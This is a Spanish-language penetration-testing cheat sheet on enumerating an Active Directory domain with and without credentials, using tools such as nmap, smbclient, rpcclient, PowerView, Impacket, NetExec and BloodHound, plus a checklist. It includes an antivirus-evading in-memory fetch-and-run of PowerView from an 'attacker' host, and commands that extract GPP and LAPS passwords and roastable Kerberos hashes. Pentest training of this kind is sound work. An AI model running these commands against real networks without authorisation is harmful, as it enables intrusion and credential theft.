README
Enumeración
Section titled “Enumeración”La enumeración es la fase más importante en un pentest de AD. Cuanta más información se recopile, más rutas de ataque se descubren. Se divide en dos fases: sin credenciales (desde fuera o con acceso de red) y con credenciales (con una cuenta de dominio, aunque sea de bajo privilegio).
Enumeración sin credenciales
Section titled “Enumeración sin credenciales”DNS — Descubrir el dominio
Section titled “DNS — Descubrir el dominio”# Descubrir el DC por DNSnmap -p 53 --script dns-srv-enum --script-args dns-srv-enum.domain=empresa.local 10.10.10.0/24
# Query SRV records del dominionslookup -type=SRV _ldap._tcp.empresa.localnslookup -type=SRV _kerberos._tcp.empresa.localnslookup -type=SRV _kpasswd._tcp.empresa.local
# Dig equivalentedig SRV _ldap._tcp.empresa.localdig SRV _kerberos._tcp.empresa.local @10.10.10.10
# Zone transfer (si está mal configurado)dig axfr empresa.local @10.10.10.10SMB — Null sessions y shares
Section titled “SMB — Null sessions y shares”# Enumerar con null session (sin credenciales)smbclient -L //10.10.10.10 -Nsmbclient //10.10.10.10/SYSVOL -Nsmbclient //10.10.10.10/NETLOGON -N
# CrackMapExec / NetExecnxc smb 10.10.10.10nxc smb 10.10.10.0/24 # Descubrir hosts SMB en la rednxc smb 10.10.10.10 --shares -u '' -p '' # Null session
# Enum4linux (herramienta legacy pero útil)enum4linux -a 10.10.10.10enum4linux-ng -A 10.10.10.10 # Versión mejorada
# rpcclient con null sessionrpcclient -U "" -N 10.10.10.10rpcclient> enumdomusers # Listar usuariosrpcclient> enumdomgroups # Listar gruposrpcclient> querydominfo # Info del dominiorpcclient> getdompwinfo # Política de contraseñasLDAP — Consultas anónimas
Section titled “LDAP — Consultas anónimas”# ldapsearch sin autenticaciónldapsearch -x -H ldap://10.10.10.10 -b "DC=empresa,DC=local"ldapsearch -x -H ldap://10.10.10.10 -b "" -s base "(objectclass=*)"
# Usuarios con ldapsearch anónimoldapsearch -x -H ldap://10.10.10.10 -b "DC=empresa,DC=local" "(objectClass=user)" sAMAccountName
# Nmap LDAP scriptsnmap -p 389 --script ldap-rootdse 10.10.10.10nmap -p 389 --script ldap-search 10.10.10.10AS-REP — Usuarios sin preautenticación Kerberos (sin creds)
Section titled “AS-REP — Usuarios sin preautenticación Kerberos (sin creds)”# Kerbrute — enumerar usuarios válidos por Kerberoskerbrute userenum -d empresa.local --dc 10.10.10.10 /usr/share/wordlists/usernames.txt
# Impacket — AS-REP Roasting sin credenciales (usuarios conocidos)impacket-GetNPUsers empresa.local/ -dc-ip 10.10.10.10 -no-pass -usersfile users.txtEnumeración con credenciales
Section titled “Enumeración con credenciales”Con cualquier cuenta de dominio (aunque sea sin privilegios) se puede enumerar casi todo el AD.
PowerView (PowerShell — desde Windows)
Section titled “PowerView (PowerShell — desde Windows)”# ImportarImport-Module .\PowerView.ps1# O en memoria (evade AV)IEX (New-Object Net.WebClient).DownloadString('http://attacker/PowerView.ps1')
# Info general del dominioGet-DomainGet-DomainControllerGet-DomainPolicy(Get-DomainPolicy)."system access" # Política de contraseñas
# UsuariosGet-DomainUser # Todos los usuariosGet-DomainUser -Identity admin # Usuario específicoGet-DomainUser -Properties samaccountname,memberof,description,pwdlastset,lastlogonGet-DomainUser | Where-Object {$_.description -ne $null} # Usuarios con descripción (a veces contiene credenciales)Get-DomainUser -SPN # Usuarios con SPN (→ Kerberoasting)Get-DomainUser -PreauthNotRequired # Usuarios sin preauth (→ AS-REP Roasting)
# GruposGet-DomainGroup # Todos los gruposGet-DomainGroup -Identity "Domain Admins" # Grupo específicoGet-DomainGroupMember -Identity "Domain Admins" -Recurse # Miembros recursivosGet-DomainGroup | Where-Object {$_.membercount -gt 0}
# EquiposGet-DomainComputerGet-DomainComputer -Properties dnshostname,operatingsystemGet-DomainComputer | Where-Object {$_.operatingsystem -like "*Server*"}
# OUsGet-DomainOUGet-DomainOU -Properties name,gplink
# GPOsGet-DomainGPOGet-DomainGPO -Identity "{GUID}"Get-DomainGPOLocalGroup # GPOs que modifican grupos locales
# SharesFind-DomainShare # Todas las shares del dominioFind-DomainShare -CheckShareAccess # Solo las accesibles con las credenciales actuales
# Sesiones y logons activos (requiere admin en los equipos objetivo)Get-NetSession -ComputerName DC01Get-NetLoggedon -ComputerName WS01Find-DomainUserLocation -UserIdentity admin # Dónde está logueado un usuario
# TrustsGet-DomainTrustGet-ForestTrustACLs con PowerView
Section titled “ACLs con PowerView”# ACLs sobre un objeto específicoGet-DomainObjectACL -Identity "Domain Admins" -ResolveGUIDs
# Buscar ACLs interesantes para un usuarioGet-DomainObjectACL -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -eq (Get-DomainUser usuario).objectsid}
# ACLs abusables (GenericAll, WriteDACL, etc.)Get-DomainObjectACL -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -match "GenericAll|WriteDACL|WriteOwner|GenericWrite|ForceChangePassword"} | Select-Object ObjectDN, ActiveDirectoryRights, SecurityIdentifier
# Find-InterestingDomainAcl → busca ACLs no predeterminadas sobre objetos de alto valorFind-InterestingDomainAcl -ResolveGUIDsImpacket (desde Linux)
Section titled “Impacket (desde Linux)”# Enumerar usuariosimpacket-GetADUsers -all empresa.local/usuario:contraseña -dc-ip 10.10.10.10
# Enumerar SPNs (→ Kerberoasting)impacket-GetUserSPNs empresa.local/usuario:contraseña -dc-ip 10.10.10.10
# Obtener usuarios sin preauth (→ AS-REP Roasting)impacket-GetNPUsers empresa.local/usuario:contraseña -dc-ip 10.10.10.10
# Consultas LDAPldapsearch -x -H ldap://10.10.10.10 -D "usuario@empresa.local" -w "contraseña" \ -b "DC=empresa,DC=local" "(objectClass=user)" sAMAccountName memberOf descriptionNetExec / CrackMapExec (desde Linux)
Section titled “NetExec / CrackMapExec (desde Linux)”# Usuarios del dominionxc smb 10.10.10.10 -u usuario -p contraseña --users
# Gruposnxc smb 10.10.10.10 -u usuario -p contraseña --groups
# Equiposnxc smb 10.10.10.10 -u usuario -p contraseña --computers
# Shares accesiblesnxc smb 10.10.10.10 -u usuario -p contraseña --shares
# Políticas de contraseñanxc smb 10.10.10.10 -u usuario -p contraseña --pass-pol
# Sesiones activasnxc smb 10.10.10.10 -u usuario -p contraseña --sessions
# Loggeados actualmentenxc smb 10.10.10.10 -u usuario -p contraseña --loggedon-users
# RDP activonxc rdp 10.10.10.0/24 -u usuario -p contraseña
# WinRM disponiblenxc winrm 10.10.10.0/24 -u usuario -p contraseñaBloodHound — Enumeración visual
Section titled “BloodHound — Enumeración visual”# Recolectar datos con BloodHound.py (desde Linux)bloodhound-python -u usuario -p contraseña -d empresa.local -ns 10.10.10.10 -c all
# Recolectar datos con SharpHound (desde Windows).\SharpHound.exe -c All --zipfilename output.zip.\SharpHound.exe -c All,GPOLocalGroup --stealth
# Importar en BloodHound# Abrir BloodHound → Upload Data → seleccionar ZIP generadoQueries útiles en BloodHound:
Find all Domain AdminsFind Shortest Path to Domain AdminsFind Principals with DCSync RightsFind Computers where Domain Users are Local AdminFind AS-REP Roastable UsersFind Kerberoastable Users with most privilegesShortest Paths from Kerberoastable UsersEnumerar SYSVOL y GPP
Section titled “Enumerar SYSVOL y GPP”# Buscar contraseñas en SYSVOL (GPP passwords — CVE-2014-1812)smbclient //10.10.10.10/SYSVOL -U "empresa.local\usuario%contraseña"# Buscar manualmente: groups.xml, scheduledtasks.xml, services.xml
# Automático con netexecnxc smb 10.10.10.10 -u usuario -p contraseña -M gpp_password
# Automático con impacketimpacket-Get-GPPPassword -xmlfile groups.xml
# Con PowerViewGet-GPPPassword
# Descifrar cpassword manualmente (AES-256, clave pública de Microsoft)gpp-decrypt CPASSWORD_VALUEEnumeración de LAPS
Section titled “Enumeración de LAPS”# Verificar si LAPS está instaladonxc smb 10.10.10.10 -u usuario -p contraseña -M laps
# Leer contraseñas LAPS (si se tienen permisos)nxc ldap 10.10.10.10 -u usuario -p contraseña -M laps
# Con PowerViewGet-DomainComputer -Properties dnshostname,ms-mcs-admpwd,ms-mcs-admpwdexpirationtime | Where-Object {$_."ms-mcs-admpwd" -ne $null}Checklist
Section titled “Checklist”□ Identificar DC(s) y nombre del dominio□ Enumerar todos los usuarios del dominio□ Buscar usuarios con descripción que contenga credenciales□ Buscar usuarios con SPN (Kerberoasting)□ Buscar usuarios sin preautenticación Kerberos (AS-REP Roasting)□ Enumerar grupos privilegiados y sus miembros□ Enumerar equipos (OS, hostname, sesiones activas)□ Enumerar shares y buscar archivos sensibles□ Enumerar GPOs y sus permisos□ Analizar ACLs con BloodHound□ Buscar contraseñas en SYSVOL (GPP)□ Verificar si LAPS está activo y si podemos leerlo□ Enumerar trusts entre dominios□ Identificar rutas de ataque en BloodHoundUna cuenta de dominio sin privilegios es suficiente para enumerar casi todo AD via LDAP. La enumeración completa no requiere ser admin.
Revisar siempre el campo description de los usuarios de AD — es sorprendentemente común encontrar contraseñas ahí dejadas por administradores.
BloodHound + SharpHound/bloodhound-python es la herramienta más potente para encontrar rutas de ataque que serían imposibles de descubrir manualmente.